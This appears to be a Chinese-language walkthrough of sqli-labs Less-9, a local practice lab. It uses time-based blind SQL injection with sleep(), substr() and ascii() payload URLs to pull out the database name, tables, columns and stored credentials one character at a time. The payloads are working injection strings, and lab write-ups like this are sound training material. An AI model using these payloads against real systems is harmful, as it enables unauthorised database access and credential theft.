这关无论输入什么闭合符号回显都是正确的,这种情况我们可以利用时间函数来判断数据有没有在目标数据中得到执行。当然也需要构造闭合。
先引入几个函数
1.if(Condition,A,B)函数
2.当Condition为TRUE时,返回A;当Condition为FALSE时,返回B。
3.sleep()函数 网页延迟n秒后,输出结果
4.left()函数 左边数,取几个数
5.substr(var1, var2, var3)
功能:从字符串里截取其中一段字符(串)
- var1:被截取的字符串
- var2:从哪一位开始截取
- var3:截取长度
6.ascii(var)
功能:取var字符的ascii码(十进制)
闭合
先来测试几波闭合符合,然后看等待时间
第一种猜测:
http://127.0.0.1/sqli-labs-master/Less-9/?id=1‘ and (sleep(2))--+
第二种猜测:
http://127.0.0.1/sqli-labs-master/Less-9/?id=1‘) and (sleep(2))--+
第n种猜测:
…
经过对比,发现第一张猜测时间最长(有意而为之),这时我们就可以判断出闭合符号了。
爆数据库名
先测试出长度
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(length(database())>7,sleep(2),0)--+
再找一个作为对比,比如>8,会发现等待时间只有几十毫秒,说明数据库名的长度等于8。
接下来找第一个字符的ascii
127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(2),0)--+
127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select database()),1,1))=114,sleep(2),0)--+
再次对比,数据库名字的一个字符的ascii是115(别问我为什么知道是115,做8关了,知道数据库名是什么吧),查ascii表发现,第一个字符是s
同理
127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select database()),2,1))=101,sleep(2),0)--+
127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select database()),3,1))=99,sleep(2),0)--+
.
.
.
找七次(其实可以查找范围的<>),结果是“security”。
爆表名
过程同上,我不再比较了,只找正确答案
?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(2),1)--+
?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),2,1))=115,sleep(2),1)--+
同上,依次往下,最后得到:emails/users
爆字段
?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,sleep(2),1)--+
同理
第一列名:id
第二列名:username
第三列名:password
爆数据
?id=1' and If(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(2),1)--+
再再再同理,不用修改列了,只修改字段位置
最后依次进行得到username:Dumb,password:Dumb